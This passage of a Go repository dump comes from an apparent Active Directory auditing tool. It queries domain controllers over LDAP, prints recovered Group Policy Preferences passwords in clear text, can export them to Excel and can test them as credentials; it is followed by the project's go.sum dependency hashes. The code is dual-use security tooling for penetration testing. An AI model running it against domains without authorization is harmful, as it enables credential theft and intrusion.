0x2000 236 | domainControllersQuery += fmt.Sprintf("(userAccountControl:1.2.840.113556.1.4.803:=%d)", UAF_SERVER_TRUST_ACCOUNT) 237 | // Account that are not disabled 238 | UAF_ACCOUNT_DISABLED := 0x0002 239 | domainControllersQuery += fmt.Sprintf("(!(userAccountControl:1.2.840.113556.1.4.803:=%d))", UAF_ACCOUNT_DISABLED) 240 | // Closing the AND 241 | domainControllersQuery += ")" 242 | 243 | if config.Debug { 244 | logger.Debug(fmt.Sprintf("LDAP query used: %s", domainControllersQuery)) 245 | } 246 | attributes := []string{"distinguishedName", "dnsHostname"} 247 | domainControllersResults := ldap.QueryWholeSubtree(&ldapSession, "", domainControllersQuery, attributes) 248 | 249 | gpppfound := crypto.GroupPolicyPreferencePasswordsFound{} 250 | gpppfound.Entries = make(map[string][]*crypto.CPasswordEntry) 251 | 252 | if len(domainControllersResults) != 0 { 253 | 254 | core.RunWorkers(config.Threads, domainControllersResults, config, &gpppfound) 255 | 256 | logger.Info("") 257 | if len(gpppfound.Entries) == 0 { 258 | logger.Info("No results.") 259 | logger.Info("") 260 | } else { 261 | logger.Info("Results:") 262 | logger.Info("") 263 | } 264 | 265 | for pathToFile := range gpppfound.Entries { 266 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors { 267 | logger.Info(fmt.Sprintf("[+] File: \x1b[94m%s\x1b[0m", pathToFile)) 268 | } else { 269 | logger.Info(fmt.Sprintf("[+] File: %s", pathToFile)) 270 | } 271 | for k, entry := range gpppfound.Entries[pathToFile] { 272 | if len(entry.RunAs) != 0 { 273 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors { 274 | logger.Info(fmt.Sprintf(" │ \x1b[94mRunAs\x1b[0m : \x1b[93m%s\x1b[0m", entry.RunAs)) 275 | } else { 276 | logger.Info(fmt.Sprintf(" │ RunAs : %s", entry.RunAs)) 277 | } 278 | } 279 | if len(entry.UserName) != 0 { 280 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors { 281 | logger.Info(fmt.Sprintf(" │ \x1b[94mUserName\x1b[0m : \x1b[93m%s\x1b[0m", entry.UserName)) 282 | } else { 283 | logger.Info(fmt.Sprintf(" │ UserName : %s", entry.UserName)) 284 | } 285 | } 286 | if len(entry.NewName) != 0 { 287 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors { 288 | logger.Info(fmt.Sprintf(" │ \x1b[94mNewName\x1b[0m : \x1b[93m%s\x1b[0m", entry.NewName)) 289 | } else { 290 | logger.Info(fmt.Sprintf(" │ NewName : %s", entry.NewName)) 291 | } 292 | } 293 | if len(entry.Password) != 0 { 294 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors { 295 | logger.Info(fmt.Sprintf(" │ \x1b[94mPassword\x1b[0m : \x1b[93m%s\x1b[0m", entry.Password)) 296 | } else { 297 | logger.Info(fmt.Sprintf(" │ Password : %s", entry.Password)) 298 | } 299 | } 300 | 301 | if k == (len(gpppfound.Entries[pathToFile]) - 1) { 302 | logger.Info(" └──") 303 | } else { 304 | logger.Info(" ├──") 305 | } 306 | } 307 | } 308 | 309 | if len(gpppfound.Entries) == 0 { 310 | logger.Info("Found no files containing Group Policy Preferences Passwords") 311 | } else if len(gpppfound.Entries) == 1 { 312 | logger.Info(fmt.Sprintf("Found %d file containing Group Policy Preferences Passwords", len(gpppfound.Entries))) 313 | } else { 314 | logger.Info(fmt.Sprintf("Found %d files containing Group Policy Preferences Passwords", len(gpppfound.Entries))) 315 | } 316 | 317 | if len(outputExcel) != 0 { 318 | exporter.GenerateExcel(gpppfound, config, outputExcel) 319 | } 320 | 321 | if testCredentials { 322 | TestCredentials(gpppfound, config) 323 | } 324 | } else { 325 | // This should not happen in an Active Directory domain 326 | if config.Debug { 327 | logger.Debug("No domain controllers were found, This should not happen in an Active Directory domain.") 328 | } 329 | } 330 | } else { 331 | logger.Warn(fmt.Sprintf("Error: %s", err)) 332 | } 333 | 334 | // Elapsed time 335 | elapsedTime := time.Since(startTime).Round(time.Millisecond) 336 | hours := int(elapsedTime.Hours()) 337 | minutes := int(elapsedTime.Minutes()) % 60 338 | seconds := int(elapsedTime.Seconds()) % 60 339 | milliseconds := int(elapsedTime.Milliseconds()) % 1000 340 | logger.Info(fmt.Sprintf("Total time elapsed: %02dh%02dm%02d.%04ds", hours, minutes, seconds, milliseconds)) 341 | } 342 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8= 2 | github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= 3 | github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI= 4 | github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= 5 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 7 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/go-asn1-ber/asn1-ber v1.5.5/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0= 9 | github.com/go-asn1-ber/asn1-ber v1.5.7 h1:DTX+lbVTWaTw1hQ+PbZPlnDZPEIs0SS/GCZAl535dDk= 10 | github.com/go-asn1-ber/asn1-ber v1.5.7/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0= 11 | github.com/go-ldap/ldap/v3 v3.4.8 h1:loKJyspcRezt2Q3ZRMq2p/0v8iOurlmeXDPw6fikSvQ= 12 | github.com/go-ldap/ldap/v3 v3.4.8/go.mod h1:qS3Sjlu76eHfHGpUdWkAXQTw4beih+cHsco2jXlIXrk= 13 | github.com/go-ldap/ldap/v3 v3.4.10 h1:ot/iwPOhfpNVgB1o+AVXljizWZ9JTp7YF5oeyONmcJU= 14 | github.com/go-ldap/ldap/v3 v3.4.10/go.mod h1:JXh4Uxgi40P6E9rdsYqpUtbW46D9UTjJ9QSwGRznplY= 15 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 16 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 17 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 18 | github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= 19 | github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= 20 | github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= 21 | github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= 22 | github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= 23 | github.com/jcmturner/aescts/v2 v2.0.0 h1:9YKLH6ey7H4eDBXW8khjYslgyqG2xZikXP0EQFKrle8= 24 | github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs= 25 | github.com/jcmturner/dnsutils/v2 v2.0.0 h1:lltnkeZGL0wILNvrNiVCR6Ro5PGU/SeBvVO/8c/iPbo= 26 | github.com/jcmturner/dnsutils/v2 v2.0.0/go.mod h1:b0TnjGOvI/n42bZa+hmXL+kFJZsFT7G4t3HTlQ184QM= 27 | github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg= 28 | github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo= 29 | github.com/jcmturner/goidentity/v6 v6.0.1 h1:VKnZd2oEIMorCTsFBnJWbExfNN7yZr3EhJAxwOkZg6o= 30 | github.com/jcmturner/goidentity/v6 v6.0.1/go.mod h1:X1YW3bgtvwAXju7V3LCIMpY0Gbxyjn/mY9zx4tFonSg= 31 | github.com/jcmturner/gokrb5/v8 v8.4.4 h1:x1Sv4HaTpepFkXbt2IkL29DXRf8sOfZXo8eRKh687T8= 32 | github.com/jcmturner/gokrb5/v8 v8.4.4/go.mod h1:1btQEpgT6k+unzCwX1KdWMEwPPkkgBtP+F6aCACiMrs= 33 | github.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZY= 34 | github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc= 35 | github.com/jfjallid/go-smb v0.5.5 h1:oY7MGmmziH0HzeUBF9sPNZOBjoWHwGON1sCazGJVAhU= 36 | github.com/jfjallid/go-smb v0.5.5/go.mod h1:gCorMd5NXhyMR3f1/x+qTZRSN35/6iY5TuqFIWb+Ovg= 37 | github.com/jfjallid/go-smb v0.5.7 h1:2lcXR9TNCfVuLYv2/Pyj6t6Zi6hSLe5pG8Kow9tODAo= 38 | github.com/jfjallid/go-smb v0.5.7/go.mod h1:gCorMd5NXhyMR3f1/x+qTZRSN35/6iY5TuqFIWb+Ovg= 39 | github.com/jfjallid/gofork v1.7.6 h1:OYyS2HH597860gkDxxjNsl+NZRxoAnuRI6ZsP++kYKE= 40 | github.com/jfjallid/gofork v1.7.6/go.mod h1:r1EH4W9KY5iqtiGhAupnbzMRONsLDApdJ9EZH5NWFSc= 41 | github.com/jfjallid/gokrb5/v8 v8.4.4 h1:log4i4lIQDOKe/RHWTHdTGeeJTYMW/+M07JgHAiE0as= 42 | github.com/jfjallid/gokrb5/v8 v8.4.4/go.mod h1:RbpQRNWdL0hXz/jTmtRB1Gcx4ZqFzJpyJLSarBMehrI= 43 | github.com/jfjallid/golog v0.3.3 h1:dY6qf8wTxJ9OwBPVTadVRDmt/6MVXSWwXrxaGMMyXsU= 44 | github.com/jfjallid/golog v0.3.3/go.mod h1:19Q/zg5OgPPd0xhFllokPnMzthzhFPZmiAGAokE7k58= 45 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 h1:RWengNIwukTxcDr9M+97sNutRR1RKhG96O6jWumTTnw= 46 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8= 47 | github.com/p0dalirius/goopts v0.0.0-20241022155150-3389b3863f21 h1:OJv3knY293jem4vQBxkcDcP0cLziDQukpZneYg5OTNI= 48 | github.com/p0dalirius/goopts v0.0.0-20241022155150-3389b3863f21/go.mod h1:ywoVqxtyqZnnU681MNWq2OV+x/zZM0Bm+x9VZaMehps= 49 | github.com/p0dalirius/goopts v1.0.0 h1:hp+sdZFo4R2A+nyUAtjYyDjrGwM9vbEO4BJR3LXfuNc= 50 | github.com/p0dalirius/goopts v1.0.0/go.mod h1:ywoVqxtyqZnnU681MNWq2OV+x/zZM0Bm+x9VZaMehps= 51 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 52 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 53 | github.com/richardlehane/mscfb v1.0.4 h1:WULscsljNPConisD5hR0+OyZjwK46Pfyr6mPu5ZawpM= 54 | github.com/richardlehane/mscfb v1.0.4/go.mod h1:YzVpcZg9czvAuhk9T+a3avCpcFPMUWm7gK3DypaEsUk= 55 | github.com/richardlehane/msoleps v1.0.1/go.mod h1:BWev5JBpU9Ko2WAgmZEuiz4/u3ZYTKbjLycmwiWUfWg= 56 | github.com/richardlehane/msoleps v1.0.4 h1:WuESlvhX3gH2IHcd8UqyCuFY5yiq/GR/yqaSM/9/g00= 57 | github.com/richardlehane/msoleps v1.0.4/go.mod h1:BWev5JBpU9Ko2WAgmZEuiz4/u3ZYTKbjLycmwiWUfWg= 58 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 59 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 60 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 61 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 62 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 63 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 64 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 65 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= 66 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 67 | github.com/xuri/efp v0.0.0-20240408161823-9ad904a10d6d h1:llb0neMWDQe87IzJLS4Ci7psK/lVsjIS2otl+1WyRyY= 68 | github.com/xuri/efp v0.0.0-20240408161823-9ad904a10d6d/go.mod h1:ybY/Jr0T0GTCnYjKqmdwxyxn2BQf2RcQIIvex5QldPI= 69 | github.com/xuri/efp v0.0.0-20241211021726-c4e992084aa6 h1:8m6DWBG+dlFNbx5ynvrE7NgI+Y7OlZVMVTpayoW+rCc= 70 | github.com/xuri/efp v0.0.0-20241211021726-c4e992084aa6/go.mod h1:ybY/Jr0T0GTCnYjKqmdwxyxn2BQf2RcQIIvex5QldPI= 71 | github.com/xuri/excelize/v2 v2.9.0 h1:1tgOaEq92IOEumR1/JfYS/eR0KHOCsRv/rYXXh6YJQE= 72 | github.com/xuri/excelize/v2 v2.9.0/go.mod h1:uqey4QBZ9gdMeWApPLdhm9x+9o2lq4iVmjiLfBS5hdE= 73 | github.com/xuri/nfp v0.0.0-20240318013403-ab9948c2c4a7 h1:hPVCafDV85blFTabnqKgNhDCkJX25eik94Si9cTER4A= 74 | github.com/xuri/nfp v0.0.0-20240318013403-ab9948c2c4a7/go.mod h1:WwHg+CVyzlv/TX9xqBFXEZAuxOPxn2k1GNHwG41IIUQ= 75 | github.com/xuri/nfp v0.0.0-20250111060730-82a408b9aa71 h1:hOh7aVDrvGJRxzXrQbDY8E+02oaI//5cHL+97oYpEPw= 76 | github.com/xuri/nfp v0.0.0-20250111060730-82a408b9aa71/go.mod h1:WwHg+CVyzlv/TX9xqBFXEZAuxOPxn2k1GNHwG41IIUQ= 77 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 78 | github.com/zenazn/pkcs7pad v0.0.0-20170308005700-253a5b1f0e03 h1:m1h+vudopHsI67FPT9MOncyndWhTcdUoBtI1R1uajGY= 79 | github.com/zenazn/pkcs7pad v0.0.0-20170308005700-253a5b1f0e03/go.mod h1:8sheVFH84v3PCyFY/O02mIgSQY9I6wMYPWsq7mDnEZY= 80 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 81 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 82 | golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= 83 | golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= 84 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= 85 | golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= 86 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= 87 | golang.org/x/crypto v0.28.0 h1:GBDwsMXVQi34v5CCYUm2jkJvu4cbtru2U4TN2PSyQnw= 88 | golang.org/x/crypto v0.28.0/go.mod h1:rmgy+3RHxRZMyY0jjAJShp2zgEdOqj2AO7U0pYmeQ7U= 89 | golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= 90 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= 91 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= 92 | golang.org/x/image v0.18.0 h1:jGzIakQa/ZXI1I0Fxvaa9W7yP25TqT6cHIHn+6CqvSQ= 93 | golang.org/x/image v0.18.0/go.mod h1:4yyo5vMFQjVjUcVk4jEQcU9MGy/rulF5WvUILseCM2E= 94 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 95 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 96 | golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 97 | golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 98 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 99 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 100 | golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 101 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 102 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 103 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 104 | golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 105 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 106 | golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= 107 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= 108 | golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= 109 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= 110 | golang.org/x/net v0.30.0 h1:AcW1SDZMkb8IpzCdQUaIq2sP4sZ4zw+55h6ynffypl4= 111 | golang.org/x/net v0.30.0/go.mod h1:2wGyMJ5iFasEhkwi13ChkO/t1ECNC4X4eBKkVFyYFlU= 112 | golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4= 113 | golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0= 114 | golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k= 115 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 116 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 117 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 118 | golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= 119 | golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 120 | golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 121 | golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 122 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 123 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 124 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 125 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 126 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 127 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 128 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 129 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 130 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 131 | golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 132 | golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 133 | golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 134 | golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= 135 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 136 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 137 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 138 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= 139 | golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= 140 | golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= 141 | golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58= 142 | golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= 143 | golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= 144 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 145 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 146 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 147 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 148 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 149 | golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= 150 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 151 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 152 | golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM= 153 | golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= 154 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= 155 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= 156 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 157 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 158 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 159 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 160 | golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= 161 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= 162 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 163 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 164 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 165 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 166 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 167 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 168 | --------------------------------------------------------------------------------